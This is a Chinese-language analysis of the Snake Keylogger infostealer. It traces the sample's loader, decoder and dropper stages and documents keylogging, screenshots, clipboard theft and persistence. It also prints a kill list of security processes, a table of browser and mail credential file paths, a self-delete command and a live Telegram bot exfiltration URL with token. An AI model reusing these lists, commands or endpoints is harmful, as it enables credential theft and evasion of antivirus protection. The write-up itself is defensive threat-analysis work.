SnakeKeylogger
SnakeKeylogger窃密木马样本分析
1. 样本简介
Snake Keylogger 是一种使用 .NET 开发的恶意软件。它于 2020 年末首次出现,专注于从受害者设备中窃取敏感信息,包括保存的凭据、受害者的按键、受害者屏幕截图和剪贴板数据。
2021 年 7 月,Snake Keylogger 首次进入 TOP 10 流行恶意软件家族报告,这意味着 Snake Keylogger 家族的影响力正在增加,并影响更多人的设备和敏感数据。
2. 样本信息
文件类型 | IOC |
---|---|
加载器[exe] | c78dc582473992e26b204107ae9352b0 |
解码器[dll] | A97E3D4031E7D3124037234524F09B21 |
释放器[dll] | 22B8A62A20FC15FBC38E8D6899241E21 |
恶意载荷[exe] | 2C0A0FBF42ABB838527D3C7F340B600C |
3. 样本分析
3.1. 基本信息
采用PEStudio
查看样本信息。该样本是个.NET
程序,原始名称为ICustomFacto.exe
:
3.2. 分析样本(加载器)
使用dnSpy
加载样本,得知该样本存在一个长字符串text
,并采用本地函数TDesDecrypt
进行DES
解码,密钥关键字为97HSN5A4A5C4J75H7A7SH48T47QG5
TDesDecrypt
函数内容如下:
解码完成后,在X0FT_FT2
函数中进行加载:
此处可以看到S
的内容是一个PE
文件的DOS
头内容:MZ
然后在X0FT_FT1
函数中执行函数Panamera.Porsche
:
3.3. 分析样本(解码器)
通过字符串解密将representative.dll
加载到内存中,通过执行Panamera.Porsche
函数,来到Guru
函数,该函数将随机休眠38-47
秒,已逃避沙箱的在线监测:
然后在循环中读取.Properties.Resources
的资源并解密、加载:
.Properties.Resources
的资源是一张图片,但显然并不是一张正常的图片,而是需要解码的加密代码:
先使用Draw.cba
读取图片的二进制数:
然后再使用Draw.fgh
进行解码,整理的解码密钥是4A7667415244
:
3.4. 分析样本(恶意载荷释放器)
通过解码器representative.dll
的解码并加载,最终释放了CF_Secretaria.dll
,但整个代码进行了混淆,难以阅读,且内部调试器也被禁用了:
通过对CF_Secretaria.dll
的函数还原,可以看到一个有趣的点:case 2U
:
该值所对应的函数主要功能是注入,且代码对象是Reuniao.int_0
,深入函数内部可以看到其中调用了两个函数:Reuniao.Execute
、Reuniao.GetInjectionPath
在Reuniao.Execute
函数中可以看到如下的长度计算函数,其中payload
可能就藏着恶意载荷:
虽然在CF_Secretaria.dll
无法获取到局部变量的内容,但跳转到系统API
时是可以查看变量名的, _BitConToInt32
所调用的BitConverter.ToInt32
参数value
中存储的是MZ
标识的PE
文件:
3.5. 分析样本(恶意载荷)
将上述内存中的PE
文件保存下来,使用PEStudio
查看:
文件经过混淆,去除混淆后可确定该PE
文件为最终恶意载荷,其中存在大量窃密行为:
功能函数预览:
通过对函数的分析,可以得出样本存在以下功能:
3.5.1. 设置开机自启
通过修改注册表:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
,实现开机自启功能:
3.5.2. 杀死防护进程
该样本中存在194
个进程目标,其中包含了杀毒软件和监控软件:
"zlclient","egui","bdagent","npfmsg","olydbg","anubis","wireshark","avastui","_Avp32","vsmon","mbam","keyscrambler","_Avpcc","_Avpm","Ackwin32","Outpost","Anti-Trojan","ANTIVIR","Apvxdwin","ATRACK","Autodown","Avconsol","Ave32","Avgctrl","Avkserv","Avnt","Avp","Avp32","Avpcc","Avpdos32","Avpm","Avptc32","Avpupd","Avsched32","AVSYNMGR","Avwin95","Avwupd32","Blackd","Blackice","Cfiadmin","Cfiaudit","Cfinet","Cfinet32","Claw95","Claw95cf","Cleaner","Cleaner3","Defwatch","Dvp95","Dvp95_0","Ecengine","Esafe","Espwatch","F-Agnt95","Findviru","Fprot","F-Prot","F-Prot95","Fp-Win","Frw","F-Stopw","Iamapp","Iamserv","Ibmasn","Ibmavsp","Icload95","Icloadnt","Icmon","Icsupp95","Icsuppnt","Iface","Iomon98","Jedi","Lockdown2000","Lookout","Luall","MCAFEE","Moolive","Mpftray","N32scanw","NAVAPSVC","NAVAPW32","NAVLU32","Navnt","NAVRUNR","Navw32","Navwnt","NeoWatch","NISSERV","Nisum","Nmain","Normist","NORTON","Nupgrade","Nvc95","Outpost","Padmin","Pavcl","Pavsched","Pavw","PCCIOMON","PCCMAIN","Pccwin98","Pcfwallicon","Persfw","POP3TRAP","PVIEW95","Rav7","Rav7win","Rescue","Safeweb","Scan32","Scan95","Scanpm","Scrscan","Serv95","Smc","SMCSERVICE","Snort","Sphinx","Sweep95","SYMPROXYSVC","Tbscan","Tca","Tds2-98","Tds2-Nt","TermiNET","Vet95","Vettray","Vscan40","Vsecomr","Vshwin32","Vsstat","Webscanx","WEBTRAP","Wfindv32","Zonealarm","LOCKDOWN2000","RESCUE32","LUCOMSERVER","avgcc","avgcc","avgamsvr","avgupsvc","avgw","avgcc32","avgserv","avgserv9","avgserv9schedapp","avgemc","ashwebsv","ashdisp","ashmaisv","ashserv","aswUpdSv","symwsc","norton","Norton Auto-Protect","norton_av","nortonav","ccsetmgr","ccevtmgr","avadmin","avcenter","avgnt","avguard","avnotify","avscan","guardgui","nod32krn","nod32kui","clamscan","clamTray","clamWin","freshclam","oladdin","sigtool","w9xpopen","Wclose","cmgrdian","alogserv","mcshield","vshwin32","avconsol","vsstat","avsynmgr","avcmd","avconfig","licmgr","sched","preupd","MsMpEng","MSASCui","Avira.Systray"
3.5.3. 定时截取屏幕
样本中的Timer1
的功能是截取屏幕:
截取屏幕的功能函数如下:
3.5.4. 抓取按键记录
样本会新建一个线程,通过KeyLogger
来实现按键抓取:
通过调用SetWindowsHookExA
和CallNextHookEx
函数,抓取键的按下和弹起:
3.5.5. 窃取剪贴板内容
样本通过Clipboard.GetText()
,从剪贴板中检索文本数据,并缓存在内存中:
然后由定时器,定时发送剪贴板内容:
其中Class6.string_5
是获取的剪贴板内容,Class6.string_8
中则是包含的PC
相关信息(具体的方法将在下一小节详细说明):
3.5.6. 窃取敏感数据
Snake
会获取当前时间、操作系统名称、操作系统版本、物理内存:
通过在主机上访问:http://checkip.dyndns.org/
,从返回信息中提取本地的公网IP
地址:
通过在主机上访问:https://freegeoip.app/xml/
,从返回信息中提取IP
地址所在的国家和地区:
在针对特定应用进行数据窃取时,Snake
采用Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
和Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
方法获取%LocalAppData%
和%AppData%
的Windows
环境变量,然后通过访问应用的缓存目录窃取数据。
Snake
的窃取对象如下:
应用名称 | 窃取目标 |
---|---|
邮件应用 | |
Outlook | HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 |
Foxmail | $FoxmailInstalPath\Storage$email\Accounts\Account.rec0 |
Thunderbird | %AppData%\Thunderbird\Profiles\logins.json |
PostBox | %AppData%\PostboxApp\Profiles\logins.json |
FTP 应用 | |
FileZilla | %AppData%\FileZilla\recentservers.xml |
社交软件 | |
Pidgin | %AppData%.purple\accounts.xml |
Discord | %AppData%\discord\Local Storage\leveldb*.log |
浏览器 | |
Yandex | %LocalAppData%\Yandex\YandexBrowser\User Data\Default\Ya Login Data |
Amigo | %LocalAppData%\Amigo\User Data\Default\Login Data |
Xpom | %LocalAppData%\Xpom\User Data\Deault\Login Data |
Kometa | %LocalAppData%\Kometa\User Data\Default\Login Data |
Nichrome | %LocalAppData%\Nichrome\User Data\Default\Login Data |
Google Chrome | %LocalAppData%\Google\Chrome\User Data\Default\Login Data |
CocCoc | %LocalAppData%\CocCoc\Browser\User Data\Default\Login Data |
QQBrowser | %LocalAppData%\Tencent\QQBrowser\User Data\Default\Login Data |
Orbitum | %LocalAppData%\Orbitum\User Data\Default\Login Data |
Slimjet | %LocalAppData%\Slimjet\User Data\Default\Login Data |
Iridium | %LocalAppData%\Iridium\User Data\Default\Login Data |
Vivaldi | %LocalAppData%\Vivaldi\User Data\Default\Login Data |
Iron | %LocalAppData%\Chromium\User Data\Default\Login Data |
Chromium | %LocalAppData%\Chromium\User Data\Default\Login Data |
Ghost | %LocalAppData%\GhostBrowser\User Data\Default\Login Data |
Cent | %LocalAppData%\CentBrowser\User Data\Default\Login Data |
Xvast | %LocalAppData%\Xvast\User Data\Default\Login Data |
Chedot | %LocalAppData%\Chedot\User Data\Default\Login Data |
SuperBird | %LocalAppData%\SuperBird\User Data\Default\Login Data |
360Browser | %LocalAppData%\360Browser\Browser\User Data\Default\Login Data |
360Chrome | %LocalAppData%\360Chrome\Chrome\User Data\Default\Login Data |
Comodo | %LocalAppData%\Comodo\Dragon\User Data\Default\Login Data |
Brave | %LocalAppData%\BraveSoftware\Brave-Browser\User Data\Default\Login Data |
Torch | %LocalAppData%\Torch\User Data\Default\Login Data |
UCBrowser | %LocalAppData%\UCBrowser\User Data_i18n\Default\UC Login Data.18 |
Blisk | %LocalAppData%\Blisk\User Data\Default\Login Data |
Epic | %LocalAppData%\Epic Privacy Browser\User Data\Default\Login Data |
Opera | %AppData%\Opera Software\Opera Stable\Login Data%AppData%\Opera\Opera\profile\wand.dat |
Liebao | %LocalAppData%\Liebao7\User Data\Default\EncryptedStorage |
Avast | %LocalAppData%\AVAST Software\Browser\User Data\Default\Login Data |
Kinza | %LocalAppData%\Kinza\User Data\Default\Login Data |
BlackHawk | %LocalAppData%\BlackHawk\User Data\Default\Login Data |
Citrio | %LocalAppData%\CatalinaGroup\Citrio\User Data\Default\Login Data |
Uran | %LocalAppData%\uCozMedia\Uran\User Data\Default\Login Data |
Coowon | %LocalAppData%\Coowon\Coowon\User Data\Default\Login Data |
7Star | %LocalAppData%\7Star\7Star\User Data\Default\Login Data |
QIP Surf | %LocalAppData%\QIP Surf\User Data\Default\Login Data |
Sleipnir | %AppData%\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Default\Login Data |
Chrome Canary | %LocalAppData%\Google\Chrome SxS\User Data\Default\Login Data |
CoolNovo | %LocalAppData%\MapleStudio\ChromePlus\User Data\Default\Login Data |
SalamWeb | %LocalAppData%\SalamWeb\User Data\Default\Login Data |
Sputnik | %LocalAppData%\Sputnik\Sputnik\User Data\Default\Login Data |
Falkon | %LocalAppData%\Sputnik\Sputnik\User Data\Default\Login Data |
Elements | %LocalAppData%\Elements Browser\User Data\Default\Login Data |
Edge Chromium | %LocalAppData%\Microsoft\Edge\User Data\Default\Login Data |
IceCat | %AppData%Mozilla\icecat\Profiles\logins.json |
Slim | %AppData%FlashPeak\SlimBrowser\Profiles\logins.json |
Firefox | %AppData%Mozilla\Firefox\Profiles\logins.json |
SeaMonkey | %AppData%Mozilla\SeaMonkey\Profiles\logins.json |
Ice Dragon | %AppData%Comodo\IceDragon\Profiles\logins.json |
CyberFox | %AppData%8pecxstudios\Cyberfox\Profiles |
PaleMoon | %AppData%Moonchild Productions\Pale Moon\Profiles\logins.json |
WaterFox | %AppData%Waterfox\Profiles\logins.json |
注: 对于Iron
和Falkon
明显路径错误,但作者的源代码中确实如此,大概是作者沉迷copy
,忘了修改-.-
3.5.7. 定时发送数据
从源码中可以看到作者设定了7
个定时器:
Time_0
:Send keystroke Logs
Time_1
:Send Screenshot Logs
Time_2
:Get Clipboard Text
Time_3
:Send Clipboard Logs
Time_4
:Null
Time_5
:Send Passwords
Time_6
:Null
3.5.8. 自我删除功能
样本存在自我删除函数,当调用该函数三秒后,将进行自我删除。函数执行的命令是:cmd.exe /C choice /C Y /N /D Y /T 3 & Del "Application.ExecutablePath"
3.5.9. 发送函数解析
作者实现了三种模式用于发送窃取的数据:FTP
、SMTP
、Telegram
。
FTP
:登录到配置的FTP
服务器,采用STOR
命令将窃取的数据上传到服务器:
SMTP
:登录配置的SMTP
服务器,然后向恶意电子邮件地址发送带有附件的电子邮件,附件存储窃取的数据:
Telegram
:向Telegram
端点api.telegram.org
发出POST
请求,内容为窃取的数据内容:
在该样本中,作者写定了传输方式:private static string string_4 = "$%TelegramDv$";
最终获取到Telegram
会话链接为:https://api.telegram.org/bot1846952933:AAEgp2ulfucRILQNH4ZSk6CAr7cPDJZxCPs/sendDocument?chat_id=840259816&caption=***
4. 参考资料
https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware
https://www.virustotal.com/gui/file/132482335f028ceb6094d9c29442faf900d838fb054eebbbf39208bb39ccf5ae
https://app.any.run/tasks/345a0eae-3a65-4b1a-9719-45a23c751f92/#